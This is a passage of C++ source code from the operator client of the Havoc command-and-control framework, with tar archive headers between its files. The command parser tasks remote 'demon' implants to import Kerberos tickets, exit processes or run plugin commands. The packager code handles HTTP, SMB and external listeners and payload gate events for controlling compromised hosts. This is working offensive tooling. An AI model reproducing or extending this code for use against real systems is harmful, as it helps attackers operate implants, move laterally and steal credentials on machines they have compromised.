{ CONSOLE_ERROR( "Invalid arguments" ) return false; } if ( InputCommands.size() == 4 ) { if ( InputCommands[ 2 ].compare( "/luid" ) != 0 ) { CONSOLE_ERROR( "Invalid arguments" ) return false; } Luid = InputCommands[ 3 ]; } TaskID = CONSOLE_INFO( "Tasked demon to import a Kerberos ticket" ); CommandInputList[ TaskID ] = commandline; SEND( Execute.Ptt( TaskID, Ticket, Luid ) ); } else if ( InputCommands[ 0 ].compare( "exit" ) == 0 ) { if ( InputCommands.length() < 2 ) { CONSOLE_ERROR( "Not enough arguments" ) return false; } if ( InputCommands.length() > 2 ) { CONSOLE_ERROR( "Too many arguments" ) return false; } if ( InputCommands[ 1 ].compare( "thread" ) == 0 ) { TaskID = CONSOLE_INFO( "Tasked demon to cleanup and exit the thread" ); CommandInputList[ TaskID ] = commandline; SEND( Execute.Exit( TaskID, "thread" ) ) } else if ( InputCommands[ 1 ].compare( "process" ) == 0 ) { TaskID = CONSOLE_INFO( "Tasked demon to cleanup and exit the process" ); CommandInputList[ TaskID ] = commandline; SEND( Execute.Exit( TaskID, "process" ) ) } else { CONSOLE_ERROR( "Option not found: " + InputCommands[ 1 ] ) return false; } } else if ( InputCommands[ 0 ].compare( "clear" ) == 0 ) { auto AgentMessageInfo = QString(); auto PivotStream = QString(); auto prev_cursor = QTextCursor(); DemonConsole->Console->clear(); if ( DemonConsole->SessionInfo.PivotParent.size() > 0 ) { PivotStream = "[Pivot: " + DemonConsole->SessionInfo.PivotParent + Util::ColorText::Cyan( "-<>-<>-" ) + DemonConsole->SessionInfo.Name + "]"; } else { PivotStream = "[Pivot: "+ Util::ColorText::Cyan( "Direct" ) +"]"; } AgentMessageInfo = Util::ColorText::Comment( DemonConsole->SessionInfo.First ) + " Agent "+ Util::ColorText::Red( DemonConsole->SessionInfo.Name.toUpper() ) + " authenticated as "+ Util::ColorText::Purple( DemonConsole->SessionInfo.Computer + "\\" + DemonConsole->SessionInfo.User ) + " :: [Internal: "+Util::ColorText::Cyan( DemonConsole->SessionInfo.Internal ) + "] [Process: " + Util::ColorText::Red( DemonConsole->SessionInfo.Process +"\\"+ DemonConsole->SessionInfo.PID ) + "] [Arch: " +Util::ColorText::Pink( DemonConsole->SessionInfo.Arch ) + "] " + PivotStream; prev_cursor = DemonConsole->Console->textCursor(); DemonConsole->Console->moveCursor ( QTextCursor::End ); DemonConsole->Console->insertHtml( AgentMessageInfo ); DemonConsole->Console->setTextCursor( prev_cursor ); return true; } else if ( InputCommands[ 0 ].compare( "" ) == 0 ) { /* do nothing */ } else { if ( ! Send && ! CommandTaskInfo[ TaskID ].isEmpty() ) { DemonConsole->AppendRaw(); DemonConsole->AppendRaw( Prompt ); DemonConsole->AppendRaw( Util::ColorText::Cyan( "[*]" ) + " " + Util::ColorText::Comment( "[" + TaskID + "]") + " " + Util::ColorText::Cyan( CommandTaskInfo[ TaskID ] ) ); } CheckRegisteredCommands: spdlog::debug( "Check if one of the registered commands it is lol." ); auto FoundCommand = false; // check for registered commands for ( auto& Command : HavocX::Teamserver.RegisteredCommands ) { if ( InputCommands[ 0 ].isEmpty() ) break; if ( Command.Agent != "Demon" ) continue; /* Check if module is matching */ if ( InputCommands[ 0 ].compare( Command.Module.c_str() ) == 0 ) { if ( InputCommands.size() <= 1 ) { if ( Send ) { CONSOLE_ERROR( "Specify a sub command for the given module." ); } return false; } /* Check if command is matching */ if ( InputCommands[ 1 ].compare( Command.Command.c_str() ) == 0 ) { PyObject* FuncArgs = PyTuple_New( InputCommands.size() - 1 ); PyObject* Return = nullptr; auto Path = std::string(); spdlog::debug( "Found module: {} {}", Command.Module.c_str(), Command.Command.c_str() ); if ( Send ) { if ( ! PyCallable_Check( ( PyObject* ) Command.Function ) ) { DemonConsole->TaskError( "A callable is required for " + InputCommands[ 0 ] + " " + InputCommands[ 1 ] ); return false; } if ( ! Command.Path.empty() ) { Path = std::filesystem::current_path(); spdlog::debug( "Set current path to {}", Command.Path ); std::filesystem::current_path( Command.Path ); } spdlog::debug( "execute script command:{}", Command.Command ); // First arg is the DemonID PyTuple_SetItem( FuncArgs, 0, PyUnicode_FromString( this->DemonID.toStdString().c_str() ) ); // Set arguments of the functions for ( u32 i = 2; i < InputCommands.size(); i++ ) PyTuple_SetItem( FuncArgs, i - 1, PyUnicode_FromString( InputCommands[ i ].toStdString().c_str() ) ); Return = PyObject_CallObject( ( PyObject* ) Command.Function, FuncArgs ); if ( ! Path.empty() ) { spdlog::debug( "Set path back to {}", Path ); std::filesystem::current_path( Path ); } if ( Return == nullptr && PyErr_Occurred() ) { PyErr_PrintEx(0); PyErr_Clear(); DemonConsole->TaskError( "Failed to execute " + InputCommands[ 0 ] + " " + InputCommands[ 1 ] + ". Python module failed" ); Py_CLEAR( FuncArgs ); return false; } if ( Py_IsNone( Return ) || Py_IsTrue( Return ) || Py_IsFalse( Return ) ) { if ( Send ) { PrintModuleCachedMessages(); if ( Py_IsNone( Return ) ) DemonConsole->TaskError( "Failed to execute " + InputCommands[ 0 ] + " " + InputCommands[ 1 ] + ". Script return is None" ); } Py_CLEAR( Return ); Py_CLEAR( FuncArgs ); return false; } if ( ! Py_IS_TYPE( Return, &PyUnicode_Type ) ) { if ( Send ) { PrintModuleCachedMessages(); DemonConsole->TaskError( "Failed to execute " + InputCommands[ 0 ] + " " + InputCommands[ 1 ] + ". Script return is invalid" ); } Py_CLEAR( Return ); Py_CLEAR( FuncArgs ); return false; } auto ReturnTaskID = PyUnicode_AsUTF8( Return ); TaskID = QString( ReturnTaskID ); NewPackageCommand( Teamserver, Util::Packager::Body_t { .SubEvent = Util::Packager::Session::SendCommand, .Info = { { "TaskID", TaskID.toStdString() }, { "TaskMessage", CommandTaskInfo[ TaskID ].toStdString() }, { "DemonID", DemonConsole->SessionInfo.Name.toStdString() }, { "CommandID", "Python Plugin" }, { "CommandLine", commandline.toStdString() }, }, } ); Py_CLEAR( Return ); Py_CLEAR( FuncArgs ); } return true; } } /* Alright it's a command i hope ? Check if command is matching */ else if ( InputCommands[ 0 ].compare( Command.Command.c_str() ) == 0 && Command.Module.length() == 0 ) { PyObject* FuncArgs = PyTuple_New( InputCommands.size() ); PyObject* Return = NULL; auto Path = std::string(); if ( Send ) { if ( ! PyCallable_Check( ( PyObject* ) Command.Function ) ) { PyErr_SetString( PyExc_TypeError, "a callable is required" ); return false; } if ( ! Command.Path.empty() ) { Path = std::filesystem::current_path(); spdlog::debug( "Set current path to {}", Command.Path ); std::filesystem::current_path( Command.Path ); } spdlog::debug( "execute script command: {}", Command.Command ); // First arg is the DemonID PyTuple_SetItem( FuncArgs, 0, PyUnicode_FromString( this->DemonID.toStdString().c_str() ) ); // Set arguments of the functions for ( u32 i = 1; i < InputCommands.size(); i++ ) PyTuple_SetItem( FuncArgs, i, PyUnicode_FromString( InputCommands[ i ].toStdString().c_str() ) ); Return = PyObject_CallObject( ( PyObject* ) Command.Function, FuncArgs ); if ( ! Path.empty() ) { spdlog::debug( "Set path back to {}", Path ); std::filesystem::current_path( Path ); } if ( Return == nullptr && PyErr_Occurred() ) { PyErr_PrintEx(0); PyErr_Clear(); DemonConsole->TaskError( "Failed to execute " + InputCommands[ 0 ] + ". Python module failed" ); Py_CLEAR( FuncArgs ); return false; } if ( Py_IsNone( Return ) || Py_IsTrue( Return ) || Py_IsFalse( Return ) ) { if ( Send ) { PrintModuleCachedMessages(); if ( Py_IsNone( Return ) ) DemonConsole->TaskError( "Failed to execute " + InputCommands[ 0 ] + ". Script return is None" ); } Py_CLEAR( Return ); Py_CLEAR( FuncArgs ); return false; } if ( ! Py_IS_TYPE( Return, &PyUnicode_Type ) ) { if ( Send ) { PrintModuleCachedMessages(); DemonConsole->TaskError( "Failed to execute " + InputCommands[ 0 ] + ". Script return is invalid" ); } Py_CLEAR( Return ); Py_CLEAR( FuncArgs ); return false; } auto ReturnTaskID = PyUnicode_AsUTF8( Return ); TaskID = QString( ReturnTaskID ); NewPackageCommand( Teamserver, Util::Packager::Body_t { .SubEvent = Util::Packager::Session::SendCommand, .Info = { { "TaskID", TaskID.toStdString() }, { "TaskMessage", CommandTaskInfo[ TaskID ].toStdString() }, { "DemonID", DemonConsole->SessionInfo.Name.toStdString() }, { "CommandID", "Python Plugin" }, { "CommandLine", commandline.toStdString() }, }, } ); Py_CLEAR( Return ); Py_CLEAR( FuncArgs ); } return true; } } if ( ! FoundCommand ) { CONSOLE_ERROR( "Command/Module not found: " + commandline ) } return false; } } else { if (InputCommands[0].compare("help") == 0) { if (InputCommands.size() > 1 && InputCommands[1] != "") { spdlog::info("show help for command"); } else { int TotalSize = 18; DemonConsole->Console->append(""); DemonConsole->Console->append(" Command Type Description"); DemonConsole->Console->append(" --------- ------- -----------"); std::vector commandOutput; for (auto &command : AgentData.Commands) { if (!command.Anonymous) { commandOutput.push_back(" " + command.Name + QString(std::string((TotalSize - command.Name.size()), ' ').c_str()) + "Command" + " " + command.Description); } } // Sort the commandOutput vector alphabetically std::sort(commandOutput.begin(), commandOutput.end(), compareQString); for (auto &command : HavocX::Teamserver.RegisteredCommands) { if (command.Agent == AgentTypeName.toStdString()) { QString currentCommand = " " + QString(command.Command.c_str()) + QString(std::string((TotalSize - command.Command.size()), ' ').c_str()) + "Command" + " " + QString(command.Help.c_str()); // Find the position to insert the current command in the sorted commandOutput vector auto insertPosition = std::lower_bound(commandOutput.begin(), commandOutput.end(), currentCommand, compareQString); // Insert the current command to the commandOutput vector in the proper position commandOutput.insert(insertPosition, currentCommand); } } // Append the sorted commands to the console for (const auto &output : commandOutput) { DemonConsole->Console->append(output); } } } else if ( InputCommands[ 0 ].compare( "clear" ) == 0 ) { auto AgentMessageInfo = QString(); auto PivotStream = QString(); auto prev_cursor = QTextCursor(); DemonConsole->Console->clear(); if ( DemonConsole->SessionInfo.PivotParent.size() > 0 ) { PivotStream = "[Pivot: " + DemonConsole->SessionInfo.PivotParent + Util::ColorText::Cyan( "-<>-<>-" ) + DemonConsole->SessionInfo.Name + "]"; } else { PivotStream = "[Pivot: "+ Util::ColorText::Cyan( "Direct" ) +"]"; } AgentMessageInfo = Util::ColorText::Comment( DemonConsole->SessionInfo.First ) + " Agent "+ Util::ColorText::Red( DemonConsole->SessionInfo.Name.toUpper() ) + " authenticated as "+ Util::ColorText::Purple( DemonConsole->SessionInfo.Computer + "\\" + DemonConsole->SessionInfo.User ) + " :: [Internal: "+Util::ColorText::Cyan( DemonConsole->SessionInfo.Internal ) + "] [Process: " + Util::ColorText::Red( DemonConsole->SessionInfo.Process +"\\"+ DemonConsole->SessionInfo.PID ) + "] [Arch: " +Util::ColorText::Pink( DemonConsole->SessionInfo.Arch ) + "] " + PivotStream; prev_cursor = DemonConsole->Console->textCursor(); DemonConsole->Console->moveCursor ( QTextCursor::End ); DemonConsole->Console->insertHtml( AgentMessageInfo ); DemonConsole->Console->setTextCursor( prev_cursor ); return true; } else { auto CommandInput = QMap(); auto ParamArray = commandline.split( " " ); auto CommandFound = false; ParamArray.erase( ParamArray.begin() ); if ( ! Send ) { if ( ! CommandTaskInfo[ TaskID ].isEmpty() ) { DemonConsole->AppendRaw(); DemonConsole->AppendRaw( Prompt ); DemonConsole->AppendRaw( Util::ColorText::Cyan( "[*]" ) + " " + CommandTaskInfo[ TaskID ] ); } } for ( auto & command : AgentData.Commands ) { if ( InputCommands[ 0 ].compare( command.Name ) == 0 ) { TaskID = Util::gen_random( 8 ).c_str(); CommandFound = true; CommandInput.insert( "TaskID", TaskID.toStdString() ); CommandInput.insert( "CommandLine", commandline.toStdString() ); CommandInput.insert( "DemonID", DemonConsole->SessionInfo.Name.toStdString() ); CommandInput.insert( "Command", command.Name.toStdString() ); ParamArray.push_back(""); for ( u32 i = 0; i < command.Params.size(); i++ ) { auto Value = QString(); if ( command.Params[ i ].IsFilePath ) { Value = FileRead( ParamArray[ i ] ).toBase64(); } else { if ( ParamArray.size() > 1 && command.Params.size() == 1 ) Value = ParamArray.join( " " ); else Value = ParamArray[ i ]; } CommandInput.insert( command.Params[ i ].Name.toStdString(), Value.toStdString() ); } } } if ( CommandFound ) { /* send command to agent handler */ SEND( Execute.AgentCommand( CommandInput ) ); } else { CommandFound = false; for ( auto & Command : HavocX::Teamserver.RegisteredCommands ) { if ( InputCommands[ 0 ].isEmpty() ) break; if ( Command.Agent == AgentTypeName.toStdString() ) { if ( InputCommands[ 0 ].compare( Command.Command.c_str() ) == 0 ) { PyObject* FuncArgs = PyTuple_New( InputCommands.size() ); PyObject* Return = nullptr; auto Path = std::string(); CommandFound = true; if ( Send ) { if ( ! PyCallable_Check( ( PyObject* ) Command.Function ) ) { PyErr_SetString( PyExc_TypeError, "a callable is required" ); return false; } if ( ! Command.Path.empty() ) { Path = std::filesystem::current_path(); spdlog::debug( "Set current path to {}", Command.Path ); std::filesystem::current_path( Command.Path ); } // First arg is the DemonID PyTuple_SetItem( FuncArgs, 0, PyUnicode_FromString( this->DemonID.toStdString().c_str() ) ); // Set arguments of the functions for ( u32 i = 1; i < InputCommands.size(); i++ ) PyTuple_SetItem( FuncArgs, i, PyUnicode_FromString( InputCommands[ i ].toStdString().c_str() ) ); Return = PyObject_CallObject( ( PyObject* ) Command.Function, FuncArgs ); if ( ! Path.empty() ) { spdlog::debug( "Set path back to {}", Path ); std::filesystem::current_path( Path ); } if ( Return == nullptr && PyErr_Occurred() ) { PyErr_PrintEx(0); PyErr_Clear(); DemonConsole->TaskError( "Failed to execute " + InputCommands[ 0 ] + ". Python module failed" ); Py_CLEAR( FuncArgs ); return false; } if ( Py_IsNone( Return ) ) { if ( Send ) { DemonConsole->Console->append( "" ); DemonConsole->Console->append( this->Prompt ); for ( auto& message : DemonConsole->DemonCommands->BufferedMessages ) DemonConsole->Console->append( message ); } DemonConsole->TaskError( "Failed to execute " + InputCommands[ 0 ] ); Py_CLEAR( Return ); Py_CLEAR( FuncArgs ); return false; } TaskID = QString( PyUnicode_AsUTF8( Return ) ); NewPackageCommand( Teamserver, Util::Packager::Body_t { .SubEvent = Util::Packager::Session::SendCommand, .Info = { { "TaskID", TaskID.toStdString() }, { "TaskMessage", CommandTaskInfo[ TaskID ].toStdString() }, { "DemonID", DemonConsole->SessionInfo.Name.toStdString() }, { "CommandID", "Python Plugin" }, { "CommandLine", commandline.toStdString() }, }, } ); Py_CLEAR( Return ); Py_CLEAR( FuncArgs ); } return true; } } } } if ( ! CommandFound ) { CONSOLE_ERROR( "Command/Module not found: " + commandline ) } } } return true; } auto DemonCommands::PrintModuleCachedMessages( ) -> void { if ( DemonConsole->DemonCommands->BufferedMessages.size() > 0 ) { DemonConsole->Console->append( "" ); DemonConsole->Console->append( this->Prompt ); /* display any messages that the script made */ for ( auto& message : DemonConsole->DemonCommands->BufferedMessages ) DemonConsole->Console->append( message ); DemonConsole->DemonCommands->BufferedMessages.clear(); } } havoc-0.6~git20240910.69ce17c/client/src/Havoc/Havoc.cc000066400000000000000000000054231467014221700217470ustar00rootroot00000000000000#include #include #include #include HavocSpace::Havoc::Havoc( QMainWindow* w ) { w->setVisible( false ); spdlog::set_pattern( "[%T] [%^%l%$] %v" ); spdlog::info( "Havoc Framework [Version: {}] [CodeName: {}]", HavocNamespace::Version, HavocNamespace::CodeName ); this->HavocMainWindow = w; this->dbManager = new HavocSpace::DBManager( "data/client.db", DBManager::CreateSqlFile ); } void HavocSpace::Havoc::Init( int argc, char** argv ) { auto List = std::vector(); auto Connect = new HavocNamespace::UserInterface::Dialogs::Connect; auto Arguments = cmdline::parser(); auto Path = std::string(); Arguments.add( "debug", '\0', "debug mode" ); Arguments.add( "config", '\0', "toml config path" ); Arguments.parse_check( argc, argv ); if ( Arguments.exist( "debug" ) ) { spdlog::set_level( spdlog::level::debug ); spdlog::debug( "Debug mode enabled" ); } if ( Arguments.exist( "config" ) ) { Path = Arguments.get( "config" ); if ( ! QFile::exists( Path.c_str() ) ) { Path = std::string(); } } if ( Path.empty() ) { Path = "client/config.toml"; } if ( ! QFile::exists( Path.c_str() ) ) { Path = "config.toml"; if ( ! QFile::exists( Path.c_str() ) ) { spdlog::error( "couldn't find config file" ); Exit(); } } Config = toml::parse( Path ); spdlog::info( "loaded config file: {}", Path ); /* TODO: handle any kind of error */ const auto& font = toml::find( Config, "font" ); const auto family = toml::find( font, "family" ); const auto size = toml::find( font, "size" ); QTextCodec::setCodecForLocale( QTextCodec::codecForName( "UTF-8" ) ); QApplication::setFont( QFont( family.c_str(), size ) ); QTimer::singleShot( 10, [&]() { QApplication::setFont( QFont( family.c_str(), size ) ); } ); this->HavocMainWindow->setVisible( false ); Connect->TeamserverList = dbManager->listTeamservers(); Connect->passDB( this->dbManager ); Connect->setupUi( new QDialog ); HavocX::Teamserver = Connect->StartDialog( false ); delete Connect; } void HavocSpace::Havoc::Start() { this->ClientInitConnect = false; this->HavocMainWindow->setVisible( true ); this->HavocMainWindow->setCentralWidget( this->HavocAppUI.centralwidget ); this->HavocMainWindow->show(); } void HavocSpace::Havoc::Exit() { spdlog::critical( "Exit Program" ); HavocApplication->HavocMainWindow->close(); exit( 0 ); } Havoc::~Havoc() { delete this->dbManager; delete this->HavocMainWindow; } havoc-0.6~git20240910.69ce17c/client/src/Havoc/Packager.cc000066400000000000000000001222011467014221700224160ustar00rootroot00000000000000#include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include const int Util::Packager::InitConnection::Type = 0x1; const int Util::Packager::InitConnection::Success = 0x1; const int Util::Packager::InitConnection::Error = 0x2; const int Util::Packager::InitConnection::Login = 0x3; const int Util::Packager::Listener::Type = 0x2; const int Util::Packager::Listener::Add = 0x1; const int Util::Packager::Listener::Edit = 0x2; const int Util::Packager::Listener::Remove = 0x3; const int Util::Packager::Listener::Mark = 0x4; const int Util::Packager::Listener::Error = 0x5; const int Util::Packager::Chat::Type = 0x4; const int Util::Packager::Chat::NewMessage = 0x1; const int Util::Packager::Chat::NewListener = 0x2; const int Util::Packager::Chat::NewSession = 0x3; const int Util::Packager::Chat::NewUser = 0x4; const int Util::Packager::Chat::UserDisconnect = 0x5; const int Util::Packager::Gate::Type = 0x5; const int Util::Packager::Gate::Staged = 0x1; const int Util::Packager::Gate::Stageless = 0x2; const int Util::Packager::Session::Type = 0x7; const int Util::Packager::Session::NewSession = 0x1; const int Util::Packager::Session::Remove = 0x2; const int Util::Packager::Session::SendCommand = 0x3; const int Util::Packager::Session::ReceiveCommand = 0x4; const int Util::Packager::Session::MarkAs = 0x5; const int Util::Packager::Service::Type = 0x9; const int Util::Packager::Service::AgentRegister = 0x1; const int Util::Packager::Service::ListenerRegister = 0x2; const int Util::Packager::Teamserver::Type = 0x10; const int Util::Packager::Teamserver::Logger = 0x1; const int Util::Packager::Teamserver::Profile = 0x2; using HavocNamespace::UserInterface::Widgets::ScriptManager; Util::Packager::PPackage Packager::DecodePackage( const QString& Package ) { auto FullPackage = new Util::Packager::Package; auto PackageObject = QJsonObject(); auto JsonData = QJsonDocument::fromJson( Package.toUtf8() ); if ( JsonData.isEmpty() ) { spdlog::critical( "Invalid json" ); return nullptr; } if ( JsonData.isObject() ) { PackageObject = JsonData.object(); auto HeadObject = PackageObject[ "Head" ].toObject(); auto BodyObject = PackageObject[ "Body" ].toObject(); FullPackage->Head.Event = HeadObject[ "Event" ].toInt(); FullPackage->Head.Time = HeadObject[ "Time" ].toString().toStdString(); FullPackage->Head.User = HeadObject[ "User" ].toString().toStdString(); FullPackage->Body.SubEvent = BodyObject[ "SubEvent" ].toInt(); if ( BodyObject[ "Info" ].isObject() ) { foreach( const QString& key, BodyObject[ "Info" ].toObject().keys() ) { FullPackage->Body.Info[ key.toStdString() ] = BodyObject[ "Info" ].toObject().value( key ).toString().toStdString(); } } } else { auto object = QJsonDocument( JsonData ).toJson().toStdString(); spdlog::critical( "Is not an Object: {}", object ); } return FullPackage; } QJsonDocument Packager::EncodePackage( Util::Packager::Package Package ) { auto JsonPackage = QJsonObject(); auto Head = QJsonObject(); auto Body = QJsonObject(); auto Map = QVariantMap(); auto Iterator = QMapIterator( Package.Body.Info ); while ( Iterator.hasNext() ) { Iterator.next(); Map.insert( Iterator.key().c_str(), Iterator.value().c_str() ); } Head.insert( "Event", QJsonValue::fromVariant( Package.Head.Event ) ); Head.insert( "User", QJsonValue::fromVariant( Package.Head.User.c_str() ) ); Head.insert( "Time", QJsonValue::fromVariant( Package.Head.Time.c_str() ) ); Head.insert( "OneTime", QJsonValue::fromVariant( Package.Head.OneTime.c_str() ) ); Body.insert( "SubEvent", QJsonValue::fromVariant( Package.Body.SubEvent ) ); Body.insert( "Info", QJsonValue::fromVariant( Map ) ); JsonPackage.insert( "Body", Body ); JsonPackage.insert( "Head", Head ); return QJsonDocument( JsonPackage ); } auto Packager::DispatchPackage( Util::Packager::PPackage Package ) -> bool { switch ( Package->Head.Event ) { case Util::Packager::InitConnection::Type: return DispatchInitConnection( Package ); case Util::Packager::Listener::Type: return DispatchListener( Package ); case Util::Packager::Chat::Type: return DispatchChat( Package ); case Util::Packager::Gate::Type: return DispatchGate( Package ); case Util::Packager::Session::Type: return DispatchSession( Package ); case Util::Packager::Service::Type: return DispatchService( Package ); case Util::Packager::Teamserver::Type: return DispatchTeamserver( Package ); default: spdlog::info( "[PACKAGE] Event Id not found" ); return false; } } bool Packager::DispatchInitConnection( Util::Packager::PPackage Package ) { HavocX::HavocUserInterface = &HavocApplication->HavocAppUI; switch ( Package->Body.SubEvent ) { case Util::Packager::InitConnection::Success: { if ( HavocApplication->ClientInitConnect ) { if ( ! HavocApplication->HavocAppUI.isVisible() ) { HavocApplication->HavocAppUI.setupUi( HavocApplication->HavocMainWindow ); HavocApplication->HavocAppUI.setDBManager( HavocApplication->dbManager ); } const auto scripts = toml::find( HavocApplication->Config, "scripts" ); const auto& files = toml::find>( scripts, "files" ); for ( const auto& file : files ) { ScriptManager::AddScript( file.c_str() ); } HavocApplication->Start(); } else { HavocApplication->HavocAppUI.NewTeamserverTab( this->TeamserverName ); } return true; } case Util::Packager::InitConnection::Error: { if ( Package->Body.Info[ "Message" ] == "" ) { MessageBox( "Teamserver Error", QString( "Couldn't connect to Teamserver:" + QString( Package->Body.Info[ "Message" ].c_str() ) ), QMessageBox::Critical ); } else { MessageBox( "Teamserver Error", "Couldn't connect to Teamserver", QMessageBox::Critical ); } return true; } case 0x5: { auto TeamserverIPs = QString( Package->Body.Info[ "TeamserverIPs" ].c_str() ); for ( auto& Ip : TeamserverIPs.split( ", " ) ) { HavocX::Teamserver.IpAddresses << Ip; } HavocX::Teamserver.DemonConfig = QJsonDocument::fromJson( Package->Body.Info[ "Demon" ].c_str() ); } default: return false; } } bool Packager::DispatchListener( Util::Packager::PPackage Package ) { switch ( Package->Body.SubEvent ) { case Util::Packager::Listener::Add: { auto TeamserverTab = HavocX::Teamserver.TabSession; // check if this comes from the Teamserver or operator. if from operator then ignore it if ( ! Package->Head.User.empty() ) return false; auto ListenerInfo = Util::ListenerItem { .Name = Package->Body.Info[ "Name" ], .Protocol = Package->Body.Info[ "Protocol" ], .Status = Package->Body.Info[ "Status" ], }; if ( ListenerInfo.Protocol == Listener::PayloadHTTP.toStdString() ) { auto Headers = QStringList(); for ( auto& header : QString( Package->Body.Info[ "Headers" ].c_str() ).split( ", " ) ) { Headers << header; } auto Uris = QStringList(); for ( auto& uri : QString( Package->Body.Info[ "Uris" ].c_str() ).split( ", " ) ) { Uris << uri; } auto Hosts = QStringList(); for ( auto& host : QString( Package->Body.Info[ "Hosts" ].c_str() ).split( ", " ) ) { Hosts << host; } ListenerInfo.Info = Listener::HTTP { .Hosts = Hosts, .HostBind = Package->Body.Info[ "HostBind" ].c_str(), .HostRotation = Package->Body.Info[ "HostRotation" ].c_str(), .PortBind = Package->Body.Info[ "PortBind" ].c_str(), .PortConn = Package->Body.Info[ "PortConn" ].c_str(), .UserAgent = Package->Body.Info[ "UserAgent" ].c_str(), .Headers = Headers, .Uris = Uris, .HostHeader = Package->Body.Info[ "HostHeader" ].c_str(), .Secure = Package->Body.Info[ "Secure" ].c_str(), // proxy configuration .ProxyEnabled = Package->Body.Info[ "Proxy Enabled" ].c_str(), .ProxyType = Package->Body.Info[ "Proxy Type" ].c_str(), .ProxyHost = Package->Body.Info[ "Proxy Host" ].c_str(), .ProxyPort = Package->Body.Info[ "Proxy Port" ].c_str(), .ProxyUsername = Package->Body.Info[ "Proxy Username" ].c_str(), .ProxyPassword = Package->Body.Info[ "Proxy Password" ].c_str(), }; if ( Package->Body.Info[ "Secure" ] == "true" ) { ListenerInfo.Protocol = Listener::PayloadHTTPS.toStdString(); } } else if ( ListenerInfo.Protocol == Listener::PayloadSMB.toStdString() ) { ListenerInfo.Info = Listener::SMB { .PipeName = Package->Body.Info[ "PipeName" ].c_str(), }; } else if ( ListenerInfo.Protocol == Listener::PayloadExternal.toStdString() ) { ListenerInfo.Info = Listener::External { .Endpoint = Package->Body.Info[ "Endpoint" ].c_str(), }; } else { // We assume it's a service listener. auto found = false; for ( const auto& listener : HavocX::Teamserver.RegisteredListeners ) { if ( ListenerInfo.Protocol == listener[ "Name" ].get() ) { found = true; ListenerInfo.Info = Listener::Service { { "Host", Package->Body.Info[ "Host" ].c_str() }, { "PortBind", Package->Body.Info[ "Port" ].c_str() }, { "PortConn", Package->Body.Info[ "Port" ].c_str() }, { "Info", Package->Body.Info[ "Info" ].c_str() } // NOTE: this is json string. }; break; } } if ( ! found ) { spdlog::error( "Listener protocol type not found: {} ", ListenerInfo.Protocol ); MessageBox( "Listener Error", QString( ( "Listener protocol type not found: {} " + ListenerInfo.Protocol ).c_str() ), QMessageBox::Critical ); return false; } } if ( TeamserverTab->ListenerTableWidget == nullptr ) { TeamserverTab->ListenerTableWidget = new UserInterface::Widgets::ListenersTable; TeamserverTab->ListenerTableWidget->setupUi( new QWidget ); TeamserverTab->ListenerTableWidget->TeamserverName = this->TeamserverName; } TeamserverTab->ListenerTableWidget->ListenerAdd( ListenerInfo ); if ( ListenerInfo.Status.compare( "Online" ) == 0 ) { auto MsgStr = "[" + Util::ColorText::Cyan( "*" ) + "]" + " Started " + Util::ColorText::Green( "\"" + QString( ListenerInfo.Name.c_str() ) + "\"" ) + " listener"; auto Time = QString( Package->Head.Time.c_str() ); HavocX::Teamserver.TabSession->SmallAppWidgets->EventViewer->AppendText( Time, MsgStr ); spdlog::info( "Started \"{}\" listener", ListenerInfo.Name ); } else if ( ListenerInfo.Status.compare( "Offline" ) == 0 ) { if ( ! Package->Body.Info[ "Error" ].empty() ) { auto Error = QString( Package->Body.Info[ "Error" ].c_str() ); auto Name = QString( ListenerInfo.Name.c_str() ); TeamserverTab->ListenerTableWidget->ListenerError( Name, Error ); } } break; } case Util::Packager::Listener::Remove: { HavocX::Teamserver.TabSession->ListenerTableWidget->ListenerRemove( Package->Body.Info[ "Name" ].c_str() ); break; } case Util::Packager::Listener::Edit: { auto ListenerInfo = Util::ListenerItem { .Name = Package->Body.Info[ "Name" ], .Protocol = Package->Body.Info[ "Protocol" ], .Status = Package->Body.Info[ "Status" ], }; if ( ListenerInfo.Protocol == Listener::PayloadHTTP.toStdString() ) { auto Headers = QStringList(); for ( auto& header : QString( Package->Body.Info[ "Headers" ].c_str() ).split( ", " ) ) Headers << header; auto Uris = QStringList(); for ( auto& uri : QString( Package->Body.Info[ "Uris" ].c_str() ).split( ", " ) ) Uris << uri; auto Hosts = QStringList(); for ( auto& host : QString( Package->Body.Info[ "Hosts" ].c_str() ).split( ", " ) ) Hosts << host; ListenerInfo.Info = Listener::HTTP { .Hosts = Hosts, .HostBind = Package->Body.Info[ "HostBind" ].c_str(), .HostRotation = Package->Body.Info[ "HostRotation" ].c_str(), .PortBind = Package->Body.Info[ "PortBind" ].c_str(), .PortConn = Package->Body.Info[ "PortConn" ].c_str(), .UserAgent = Package->Body.Info[ "UserAgent" ].c_str(), .Headers = Headers, .Uris = Uris, .HostHeader = Package->Body.Info[ "HostHeader" ].c_str(), .Secure = Package->Body.Info[ "Secure" ].c_str(), .ProxyEnabled = Package->Body.Info[ "Proxy Enabled" ].c_str(), .ProxyType = Package->Body.Info[ "Proxy Type" ].c_str(), .ProxyHost = Package->Body.Info[ "Proxy Host" ].c_str(), .ProxyPort = Package->Body.Info[ "Proxy Port" ].c_str(), .ProxyUsername = Package->Body.Info[ "Proxy Username" ].c_str(), .ProxyPassword = Package->Body.Info[ "Proxy Password" ].c_str(), }; if ( Package->Body.Info[ "Secure" ] == "true" ) { ListenerInfo.Protocol = Listener::PayloadHTTPS.toStdString(); } } else if ( ListenerInfo.Protocol == Listener::PayloadSMB.toStdString() ) { ListenerInfo.Info = Listener::SMB { .PipeName = Package->Body.Info[ "PipeName" ].c_str(), }; } else if ( ListenerInfo.Protocol == Listener::PayloadExternal.toStdString() ) { ListenerInfo.Info = Listener::External { .Endpoint = Package->Body.Info[ "Endpoint" ].c_str(), }; } HavocX::Teamserver.TabSession->ListenerTableWidget->ListenerEdit( ListenerInfo ); break; } case Util::Packager::Listener::Mark: { break; } case Util::Packager::Listener::Error: { auto Error = Package->Body.Info[ "Error" ]; auto Name = Package->Body.Info[ "Name" ]; if ( Package->Head.User.compare( HavocX::Teamserver.User.toStdString() ) == 0 ) { if ( ! Name.empty() ) { if ( ! Error.empty() ) { MessageBox( "Listener Error", QString( Error.c_str() ), QMessageBox::Critical ); HavocX::Teamserver.TabSession->ListenerTableWidget->ListenerError( QString( Name.c_str() ), QString( Error.c_str() ) ); auto MsgStr = "[" + Util::ColorText::Red( "-" ) + "]" + " Failed to start " + Util::ColorText::Green( "\"" + QString( Name.c_str() ) + "\"" ) + " listener: " + Util::ColorText::Red( Error.c_str() ); auto Time = QString( Package->Head.Time.c_str() ); 